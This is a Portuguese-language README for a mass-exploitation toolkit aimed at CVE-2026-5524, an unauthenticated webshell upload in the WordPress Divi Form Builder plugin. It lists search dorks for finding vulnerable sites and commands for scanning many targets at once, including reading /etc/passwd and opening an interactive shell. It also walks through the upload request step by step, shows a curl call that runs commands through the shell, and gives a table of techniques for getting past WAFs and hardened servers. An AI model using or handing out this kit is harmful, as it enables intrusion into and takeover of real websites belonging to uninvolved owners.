
Kit de ferramentas de exploração em massa em Python para CVE-2026-5524, um RCE de upload de arquivo não autenticado no plugin WordPress Divi Form Builder, com upload de webshell e execução de comandos.
Kit de exploração em massa para CVE-2026-5524, uma vulnerabilidade de upload arbitrário de arquivos não autenticado no plugin WordPress Divi Form Builder <= 5.1.8, que leva à execução remota de código.
| Campo | Valor |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Crítico) |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afetado | Divi Form Builder <= 5.1.8 |
| Corrigido | 5.1.9 |
| Tipo | Upload de Arquivo Não Autenticado para RCE |
| Pesquisador | 0xd4rk5id3 - EnvoraSec |
O plugin Divi Form Builder para WordPress contém uma vulnerabilidade de upload arbitrário de arquivos não autenticado. O manipulador do_image_upload() passa o parâmetro POST acceptFileTypes, controlado pelo usuário, diretamente para uma expressão regular usada para validar extensões de arquivo. Ao fornecer um valor como phtml, um atacante pode contornar a regra .htaccess do plugin que bloqueia apenas a extensão .php e enviar um webshell com uma extensão executável por PHP (.phtml, .phar, .php5, .php7 e similares).
Uma vez que o arquivo chega em /wp-content/uploads/de_fb_uploads/, o Apache o executa como PHP, concedendo ao atacante execução remota de código como o usuário do servidor web.
O problema é corrigido no Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisitos: Python 3.8 ou superior em Linux, macOS ou WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Para alvos atrás de um WAF (NinjaFirewall, Wordfence, ModSecurity) ou com configuração reforçada de Apache ou nginx.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Após um upload bem-sucedido, o script pode executar imediatamente um comando ou abrir um shell interativo.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descrição |
|---|---|
-u URL | URL de alvo único |
-l FILE | Arquivo contendo a lista de alvos, uma URL por linha |
-t N | Número de threads concorrentes (padrão 10) |
--timeout N | Tempo limite da requisição em segundos (padrão 15) |
-o FILE | Salvar resultados em arquivo de saída JSONL |
--proxy URL | Rotear tráfego através de proxy HTTP |
--nonce HASH | Usar um nonce fornecido manualmente, pular a autodetecção |
--ext EXT | Forçar uma única extensão em vez da lista completa de bypass |
--shell | Abrir shell RCE interativo em caso de sucesso (apenas alvo único) |
--cmd CMD | Executar um comando no alvo e sair |
--shell-file FILE | Enviar um payload de shell personalizado em vez do integrado |
--no-verify | Pular a etapa de verificação de RCE pós-upload |
--strict-verify | Confirmar que a URL do shell retorna HTTP 200 para filtrar falsos positivos |
--user-ini | Enviar um dropper .user.ini para ambientes PHP-FPM |
--htaccess | Enviar um reativador .htaccess para ambientes Apache |
--aggressive | Habilitar todas as técnicas de bypass disponíveis |
--null-byte | Incluir tentativas de null byte e extensão dupla |
--path-traversal | Tentar enviar para subdiretórios /uploads/YYYY/MM/ |
--debug | Imprimir respostas HTTP brutas para diagnóstico |
O manipulador vulnerável constrói uma regex a partir da entrada do usuário sem sanitização.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Ao enviar acceptFileTypes=phtml, a regex resultante /\.(phtml)$/i corresponde a nomes de arquivo terminados em .phtml, mesmo que o próprio arquivo .htaccess do plugin bloqueie apenas a extensão .php. O Apache então executa o arquivo enviado como PHP, produzindo execução remota de código.
Rastreie uma página que incorpore um formulário do Divi Form Builder (/, /contact, /quote, etc). Anexe um parâmetro ?nocache=<random> para derrotar Varnish, WP Rocket e outros caches de página que, de outra forma, serviriam um nonce obsoleto.
Extraia o valor fb_nonce do objeto JavaScript localizado:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Envie um POST multipart para /wp-admin/admin-ajax.php com:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leia a URL do arquivo na resposta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Solicite o shell com um comando codificado em base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Técnica | Alvos |
|---|---|---|
| 1 | Extensões PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regra .htaccess do plugin que bloqueia apenas .php |
| 2 | Variação de maiúsculas/minúsculas .PHTML, .PHP5, .PhTmL | Assinaturas de WAF sensíveis a maiúsculas/minúsculas (NinjaFirewall) |
| 3 | Extensão dupla .phtml.jpg, .php.jpg | Peculiaridades de negociação de conteúdo do mod_mime do Apache |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | Versões antigas do PHP (menores que 5.3.4) e certos parsers |
| 5 | Espaço ou ponto à direita .php , .php. | Windows IIS e versões mais antigas do Apache |
| 6 | Falsificação de Content-Type application/octet-stream | WAFs que se baseiam no cabeçalho Content-Type do multipart |
| 7 | Enviar um .htaccess real que reativa PHP para .gif, .png, .jpg, .txt, .html, etc. | Servidores Apache com AllowOverride All |
| 8 | Enviar um .user.ini com auto_prepend_file | Ambientes PHP-FPM |
| 9 | Injeção de nome de arquivo através de manipulação de boundary multipart | Proxies e WAFs que reanalisam o corpo da requisição |
| 10 | Path traversal ../shell.phtml no nome do arquivo | Restrições de diretório do plugin |